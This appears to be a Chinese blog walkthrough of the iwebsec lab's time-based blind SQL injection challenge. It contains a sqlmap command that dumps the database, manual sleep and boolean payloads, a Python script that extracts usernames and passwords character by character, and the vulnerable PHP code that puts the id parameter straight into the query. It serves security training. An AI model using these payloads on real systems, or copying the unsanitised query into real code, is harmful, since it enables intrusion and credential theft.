iwebsec-sql注入 04 时间延迟型注入
1.iwebsec-sql注入 01 数字型注入2.iwebsec-sql注入 02 字符型注入3.iwebsec-sql注入 03 bool型注入
4.iwebsec-sql注入 04 时间延迟型注入
5.iwebsec-sql注入 05 报错型注入6.iwebsec-sql注入 06 宽字节字符型注入7.iwebsec-sql注入 07 空格过滤8.iwebsec-sql注入 08 大小写过滤注入9.iwebsec-sql注入 09 双写关键字绕过10.iwebsec-sql注入 10 双重url编码绕过11.iwebsec-sql注入 11 十六进制编码绕过12.iwebsec-sql注入 12 等价函数替换过滤13.iwebsec-sql注入 13 二次注入14.iwebsec-文件上传 01 前端JS过滤绕过15.iwebsec-文件上传 02 文件名过滤绕过16.iwebsec-文件上传 03 Content-Type过滤绕过17.iwebsec-文件上传 04 文件头过滤绕过18.iwebsec-文件上传 05 .htaccess19.iwebsec-文件上传 06 文件截断上传20.iwebsec-文件上传 07 条件竞争21.iwebsec-文件包含 01 本地文件包含22.iwebsec-文件包含 02 本地文件包含绕过23.iwebsec-文件包含 03 session本地文件包含24.iwebsec-文件包含 04 文件头过滤绕过25.iwebsec-文件包含 05 远程文件包含绕过26.iwebsec-文件包含 06 php://filter伪协议27.iwebsec-文件包含 07 php://input伪协议28.iwebsec-文件包含 08 php://input伪协议利用29.iwebsec-文件包含 09 file://伪协议利用30.iwebsec-文件包含 10 data://伪协议利用31.iwebsec-xss 01 反射型xss32.iwebsec-xss 02 存储型xss33.iwebsec-xss 03 DOM型xss34.iwebsec-xss 04 xss修复示例01、题目分析:
三大盲注中的时间型注入,当查询语句正常的时候,不会有什么返回值或者回显,唯一的特征就是可以通过sleep函数来判断sql语句是否正确,也就是说,当有办法能判断输入语句是否正确的时候,步骤就和bool盲注一样了,话不多说,直接先让我们伟大的sqlmap跑起来
02、sqlmap工具注入:
一把梭
python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/04.php?id=1" --current-db --dump --batch
03、手工注入:
盲注,简单的来讲就是无论你输入什么内容,页面都不会出现错误提示,如果查询结果正确就显示类似查询成功或者其他的,错误就不会显示。所以注入思路其实就是一个个猜,比如数据库名的长度是6个吗,看看是否正确,没显示继续猜,正确就猜数据库名第一个字母是a吗,是b吗......这样一直猜,猜出来数据库名,表名,列名,数据等等
众所周知时间注入比布尔注入耗时更久,因为布尔判断是否正确能快速回显,而时间判断是否正确只能通过页面的加载时间慢了几秒,所以也只提供思路
-- 延迟: and sleep(1); and if(1>2,sleep(1),0); and if(1<2,sleep(1),0); -- 布尔: -- 检查数据库名称的长度是否为7 and length(database())=7; -- 检查数据库名称是否以字母 'p' 开头 and left(database(),1)='p'; -- 检查数据库名称是否以字母 'pi' 开头 and left(database(),2)='pi'; -- 检查数据库名称中的第一个字符是否为 'p' and substr(database(),1,1)='p'; -- 检查数据库名称中的第二个字符是否为 'i' and substr(database(),2,1)='i'; -- 检查数据库名称的第一个字符的 ASCII 码是否为 112 ('p' 的 ASCII 码) and ord(left(database(),1))=112;
04、手工脚本注入:
这个地方直接借用refeng大佬的脚本
暴力破解法:
# @Author:refeng import requests url = "http://www.bdrwmy.cn:8001/sqli/04.php?id=1 and " result = '' i = 0 while True: i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 #爆库 # payload = f"1=if(ascii(substr((select database() ),{i},1))>{mid},sleep(2),1) --+" #爆表 # payload = f"1=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='iwebsec' ),{i},1))>{mid},sleep(2),1) --+" #爆列 # payload = f"1=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='user' ),{i},1))>{mid},sleep(2),1) --+" #爆数据 payload = f"1=if(ascii(substr((select group_concat(concat_ws('~',username,password)) from iwebsec.user ),{i},1))>{mid},sleep(2),1) --+" try: r = requests.get(url + payload, timeout=0.5) tail = mid except Exception as e: head = mid + 1 if head != 32: result += chr(head) else: break print(result)
05、代码分析
<?php require_once('../header.php'); // 引入头部文件 require_once('db.php'); // 引入数据库连接文件 ?> <html> <head> <title>MySQL sleep SQLi</title> // 设置网页标题 </head> <h2>MySQL sleep SQLi</h2> // 页面标题 <div class="alert alert-success"> <p>/04.php?id=1 </p> // 提示用户输入参数的示例 </div> <body> <?php if (isset($_GET['id'])) { // 检查是否存在 "id" 参数 $id = $_GET['id']; // 获取 "id" 参数的值 // 创建 SQL 查询语句 $sql = "SELECT * FROM user WHERE id=$id LIMIT 0,1"; $result = mysql_query($sql); // 执行查询 } else { exit(); // 如果不存在 "id" 参数,则终止代码执行 } if ($result) { // 检查查询结果是否存在 ?> <table class='table table-striped'> // 创建表格 <?php while ($row = mysql_fetch_assoc($result)) { echo "<tr>"; // 输出表格行 // echo "iwebsec"; echo "</tr>"; // 结束表格行 } echo '<div class="alert alert-success">'; echo "<p>welcome to iwebsec!!!</p></div>"; // 输出欢迎消息 echo "</tr>"; // 结束表格行 } else { // 输出错误消息 // echo '<font color= "#FFFFFF">'; echo '<div class="alert alert-success">'; echo "<p>welcome to iwebsec!!!</p></div>"; // 输出欢迎消息 echo "</tr>"; // 结束表格行 // echo "</font>"; } ?>
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步